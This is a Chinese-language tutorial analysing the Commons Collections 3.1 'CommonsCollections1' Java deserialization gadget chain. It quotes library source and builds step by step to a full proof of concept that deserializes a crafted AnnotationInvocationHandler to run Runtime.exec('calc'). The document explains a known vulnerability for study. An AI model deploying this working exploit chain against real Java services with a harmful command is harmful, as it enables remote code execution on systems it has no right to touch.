CommonsCollections1 反序列化利用链分析

InvokerTransformer

首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors\InvokerTransformer.java

下的 transform 方法

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

看到这个方法就知道是反射。

这里传入了一个 object，然后反射调用过程用到了以下3个参数。

• iMethodName
• iParamTypes
• iArgs

这三个参数在 InvokerTransformer 的构造方法中，就是说这三个参数是我们可控的。

利用 InvokerTransformer#transform 就可执行任意命令。

public static void main(String[] args) {

    InvokerTransformer IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    IT.transform(Runtime.getRuntime());
}

继续看 commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/ChainedTransformer.java

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     *
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这里遍历iTransformers并调用transform方法，传入Object对象，这个对象一直变的，执行完这一步操作被赋值再被传入下一步操作依次循环到结束。

可以编写如下代码来进行执行命令

Transformer[] T = new Transformer[]{new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
new ChainedTransformer(T).transform(Runtime.getRuntime());

这里需要调用 transform 并传入 Runtime.getRuntime()

这里也可以使用 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors\ChainedTransformer.java 传入 Runtime.getRuntime() 然后在后面调用 transfrom的时候就会将实例化传入的对象返回。

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     *
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

new ChainedTransformer(T).transform(1);

可以看到上面代码执行命令都需要主动调用 transform ，实战中不会存在这种情况。

TransformedMap

来看一下 TransformedMap 类

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    //-----------------------------------------------------------------------
    /**
     * Constructor that wraps (not copies).
     * <p>
     * If there are any elements already in the collection being decorated, they
     * are NOT transformed.
     *
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

/**
     * Transforms a key.
     * <p>
     * The transformer itself may throw an exception if necessary.
     *
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }

    /**
     * Transforms a value.
     * <p>
     * The transformer itself may throw an exception if necessary.
     *
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

keyTransformer、valueTransformer 都可控。这里我们的目标是调用InvokerTransformer#transform 方法

前面我们构造了一个 ChainedTransformer 里面包含 ConstantTransformer 和 InvokerTransformer ，所以只要我们能够调用 TransformedMap 的 checkSetValue方法就会相应的调用 ConstantTransformer InvokerTransformer 的transform方法。

那么如何调用 checkSetValue方法，我们找到 TransformedMap 的父类 AbstractInputCheckedMapDecorator 中发现中有调用 checkSetValue ，这是一个抽象方法 protected abstract Object checkSetValue(Object value); 由其子类实现。所以就变成了只需要调用 setValue 就能执行我们构造的反射链。

我们来看下 Map 的setValue

使用 decorate 生成一个 TransformedMap 对象。

Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(T);
Map hm = new HashMap();
hm.put(1,1);
Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
Map.Entry M = (Map.Entry)decorate.entrySet().iterator().next();
M.setValue("123");

反序列化利用

反序列化漏洞的入口都在 readObject 方法，所以需要找到在反序列化进入到readObject 方法时会调用 setValue 的类。这里 ysoserial 的作者提供了类 sun.reflect.annotation.AnnotationInvocationHandler

这里 AnnotationInvocationHandler 是一个内部类需要使用反射进行实例化。还需要注意一点 待序列化的对象都需要实现 Serializable 接口。但是上面的代码中 Runtime 类没有实现Serializable 接口 所以不可序列化。

所以需要改一下反射链。

new Transformer[]{
		//得到Runtime.class
                new ConstantTransformer(Runtime.class),

		//得到Method对象（getRuntime）
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),

		//执行invoke方法，结果是得到Runtime对象
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
                        new Object[]{null, new Object[0]}),

		//利用上一步得到的Runtime对象执行exec方法，执行命令 calc
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"})
        };

System.out.println(Runtime.class);// 返回 class java.lang.Runtime  class类是实现了 Serializable 接口的

得出 最后poc

Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"})};
        ChainedTransformer chainedTransformer = new ChainedTransformer(T);
        Map hm = new HashMap();
        hm.put("value",1);
        Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

这里 hm.put("value",1); 这里 key必须是value，否则无法触发，还有Target.class相关注解知识，可参考 https://xz.aliyun.com/t/7031#toc-9

利用条件 commonscollections<=3.2.1 、jdk< 8u71

参考

https://github.com/frohoff/ysoserial

https://xz.aliyun.com/t/7031